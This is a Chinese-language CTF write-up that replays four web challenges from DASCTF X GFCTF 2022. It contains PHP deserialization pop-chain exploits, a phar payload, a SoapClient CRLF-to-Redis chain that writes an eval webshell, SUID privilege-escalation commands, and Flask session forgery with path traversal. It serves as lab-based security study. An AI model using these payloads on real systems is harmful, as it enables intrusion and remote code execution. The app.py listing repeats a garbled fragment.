当前位置:   article > 正文

DASCTF X GFCTF 2022十月挑战赛-web复现wp_dasctf x gfctf 2022十月挑战赛web

dasctf x gfctf 2022十月挑战赛web

EasyPOP(pop链的构造)

 <?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}
Ctfer: Duration of practice: Two and a half years
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133

2.找魔术方法(因为我初学记不住),出口函数和入口函数

    __construct  //初始化
    __invoke	//将对象调用为函数时触发
    __wakeup	//反序列化之前
    __toString	//碰到echo等,将一个对象转化成字符串
    __sleep		//序列化的时候用
__get		//当调用一个未定义的属性时
__call		//调用不可访问的方法
尝试一下逆推,大概率利用call_user_func函数进行命令执行,在__invoke里,invoke触发条件在sorry类__get方法的name变量,__get的触发条件调用未定义属性。看看起点,一般是__wakeup __destruct __toString ,__wakeup这里一看就要绕过,__toString调用show,show里面也没啥用。看__destruct(里面有个调用secret_code类中secret()函数,这个函数调用hint()函数,应该在hint.php中,没啥用),然后看到上面有echo $this->hint;echo可以触发show里的__toString方法,刚好hint属性可控,__toString里调用$this->ctf->show();现在就剩__get和__call没有触发了,这里刚好可以触发__get.根据上面的来看,链子就通了。
sorry.__destruct()->show.__toString()->secret_code.show()->sorry.__get()
->fine.__invoke

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

接下来写exp

<?php
class fine
{
    private $cmd="system";
    private $content='cat /flag';

}
class show
{
    public $ctf;
    public $time;
}
class sorry
{
    private $name;
    private $password;
    public $hint ;
    public $key;
}
class secret_code
{
    public $code;
}
$a=new sorry();
$b=new fine();
$c=new show();
$d=new secret_code();
$a->hint=$c;

$c->ctf=$d;
$d->code=new sorry();
$d->code->key=$b;
echo urlencode(serialize($a));
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

这里注意一下要绕过fine 类的 __wakeup,将属性个数改成大于实际个数就行。

看了个师傅的wp,知道了感觉比较方便的写法,就是写__construct()构造函数

<?php
class fine
{
    private $cmd='system';
    private $content='cat /flag';


}
class show
{
    public $ctf;
    public $time;
    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }
}
class sorry
{
    private $name;
    private $password;
    public $hint;
    public $key;
    public function __construct($hint,$key)
    {

        $this->hint=$hint;
        $this->key=$key;
    }
}
class secret_code
{
    public $code;
    public function __construct($code)
    {
        $this->code=$code;
    }
}
$a = new sorry(new show(new secret_code(new sorry(1,new fine()))),1);
echo (serialize($a));
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
  • 1

hade_waibo(phar反序列化+绕过)

进去是一个登录界面,随便输入都会登录成功。看到一个文件上传点,简单尝试了文件上传绕过,无果。还有一个销毁证据,点了不知道有什么用。重点是cancan need那里,显示文件源码的地方。抓包后可以看到源码以base64的形式显示出来了。

image-20221102100818735

非预期解一(最简单)

上面那个尝试目录穿越+任意文件读取

image-20221102113305551

image-20221102113447435

非预期解(巧妙)

按照上面方法可得下面的源码

#index.php部分代码
<?php
error_reporting(0);
session_start();
include 'class.php';

if(isset($_POST['username']) && $_POST['username']!=''){
	#修复了登录还需要passwd的漏洞
	$user = new User($_POST['username']);
}

if($_SESSION['isLogin']){
	die("<script>alert('Login success!');location.href='file.php'</script>");
}else{
	die('
<form action="index.php" method="post">
	<div class="ui input">
		<input type="text" name="username" placeholder="Give me uname" maxlength="6">
	</div>
<form>');
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

看到包含了一个class.php,按照上面的方法读取源码。

#class.php部分代码
<?php
class User
{
    public $username;
    public function __construct($username){
        $this->username = $username;
        $_SESSION['isLogin'] = True;
        $_SESSION['username'] = $username;
    }
    public function __wakeup(){
        $cklen = strlen($_SESSION["username"]);
        if ($cklen != 0 and $cklen <= 6) {
            $this->username = $_SESSION["username"];
        }
    }
    public function __destruct(){
        if ($this->username == '') {
            session_destroy();
        }
    }
}
#更新了一个恶意又有趣的Test类
class Test
{
    public $value;

    public function __destruct(){
        chdir('./upload');
        $this->backdoor();
    }
    public function __wakeup(){
        $this->value = "Don't make dream.Wake up plz!";
    }
    public function __toString(){
        $file = substr($_GET['file'],0,3);
        file_put_contents($file, "Hack by $file !");
        return 'Unreachable! :)';
    }
    public function backdoor(){
        if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
            $this->value = 'nono~';
        }
        system($this->value);
    }

}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47

可以看到Test类中有一个backdoor函数,里面有system命令执行函数。但是有正则,过滤了字母数字和一些符号。并且 system 无法执行异或、取反、或,且,反序列化后会先执行 __wakeup 再执行 backdoor,这边的 __wakeup 由于php版本问题无法常规绕过。漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10

当时做题卡这里了,不知道怎么进行下一步了。看了师傅们的wp,一个非预期解,让value指向一个变量的地址,这样它的值就无法改变了。

在保证 value 不会被改变的情况下,怎么绕过 preg_match 执行 shell 呢?这边又有一个小知识点:**在 linux 中,. ./* 会把当前目录下的所有文件当作 sh 文件执行。**本地测试结果如下

image-20221102150125493

那么如何令value的值等于. ./*,我们可以看到User类中的$username变量可控,username变量就等于我们传入的名字。构造的时候只需要将value的值指向username的地址即可。

<?php
class User{
    public $username;
}
class Test
{
    public $value;
}
$user=new User();
$test=new Test();
$user->username=new Test();
$user->test=$test;
$test->value=&$user->username;
echo serialize($user);
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($user);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();//签名自动计算
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

这里为什么User类要新增一个test属性去实例化Test类?这个师傅的博客下面的评论里解释了(我也不是很懂):https://blog.csdn.net/trytowritecode/article/details/127513176

我自己也本地测试了一下,没有加下面这行代码运行结果如下

$user->test=$test;
  • 1

image-20221102151313358

加了之后运行结果如下

image-20221102151331890

可以推测新加的属性是为了让value的属性被引用进来。

将生成的phar文件后缀改成jpg,直接上传,然后通过phar伪协议访问该文件

image-20221102152548677

可以看到根目录直接显示出来了,接下来直接访问flag文件

image-20221102152647080

预期解

太菜了没有复现成功,感兴趣的师傅可以参考这篇文章:https://blog.csdn.net/shinygod/article/details/127550670

EasyLove(原生类+redis未授权访问+suid提权)

这题提示为:Redis是世界上最好的数据库!

打开容器,读代码

  <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }
    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }

    public function flag(){
        $this->love->getflag();
    }
    
    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
$hello = $_GET['hello'];
$world = unserialize($hello);   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36

发现一个hint.php,写个序列化字符串读一下

<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=hint.php";
}
$a = new hint();
echo serialize($a);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

读不出来,开摆~复现的时候发现要用绝对路径

这里重新构造一下

<?php
class hint{
public $hint="php://filter/read=convert.base64-encode/resource=/var/www/html/";
}
$a = new hint();
echo serialize($a);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

将源码进行base64解密后如下

<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>
  • 1
  • 2
  • 3

redis还没学,呜呜呜,只能复现到这里了。下面只是跟着操作了一遍,不太理解原理,原文大佬博客:https://blog.csdn.net/shinygod/article/details/127550670

通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。

想了解 redis 未经授权访问的移步:https://blog.csdn.net/shinygod/article/details/127034013 第 360 题。

SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

poc

<?php
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    public function __construct(){
    
    	$this->wllm = 'SoapClient';
    	$this->l61q4cheng = array(
    		'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename cmd.php\r\nSAVE",
    		'uri'=>'bbb', 
    		'location'=>'http://127.0.0.1:6379'
    	);

    }

}
echo urlencode(serialize(new swpu()));

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

传入参数之后,可以直接连蚁剑或者post直接传参,但是查看不了。

image-20221102163238494

可以看到读取不了,看一下env,发现是testflag,也没什么用。

image-20221102163424524

最后用find suid提权

SUID提权:find / -perm -u=s -type f 2>/dev/null > ./1.txt  查看可利用的函数
发现date  date -f   /hereisflag/flllll111aaagg  可拿flag
  • 1
  • 2

image-20221102164350921

BlogSystem

复现文章参考于出题人笔记:https://pysnow.cn/archives/566/

考点:

  1. 信息泄露
  2. flask伪造session
  3. 目录穿越绕过
  4. 代码审计
  5. Yaml反序列化加载恶意模块
  6. 引入恶意模块

首先有一个登录界面,需要注册,登录,尝试注册admin账号时提示该账号已被使用,随便注册一个admin1的账号进行登录,发现多了几个路由。思考是不是要进行session伪造登录admin的账号。

image-20221102165336773

刚好我知道flask可以进行session伪造,但没实操过。参考文章:https://zhuanlan.zhihu.com/p/394862431

得知需要密钥SECRET_KEY,这题是在flask基础总结里面暴露了密钥。

image-20221102165747488

使用脚本来解密,能正常解出,代表密钥没有问题。脚本地址:https://github.com/noraj/flask-session-cookie-manager

image-20221102170221507

根据上面的格式构造出admin的cookie

image-20221102170330193

将自己的cookie替换成生成的cookie,发现多了一个download的路由

请添加图片描述

一般ctf中download存在任意文件读取与目录穿越漏洞,可以尝试,发现存在waf,只需要使用.//./代替../绕过即可完成目录穿越,首先下载app.py文件

from flask import *
import config

app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *

app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')


@app.context_processor
def login_statue():
    username = session.get('username')
    if username:
        try:
            user = User.query.filter(User.username == username).first()
            if user:
                return {"username": username, 'name': user.name, 'password': user.password}
        except Exception as e:
            return e
    return {}


@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', 80)
 session.get('username')
    if username:
        try:
            user = User.query.filter(User.username == username).first()
            if user:
                return {"username": username, 'name': user.name, 'password': user.password}
        except Exception as e:
            return e
    return {}


@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500


if __name__ == '__main__':
    app.run('0.0.0.0', 80)


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63

后面真看不懂了,我太菜了呜呜呜,Yaml反序列化绕过等后面学习了相关知识点再补充吧~

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/984158
推荐阅读
相关标签
  

闽ICP备14008679号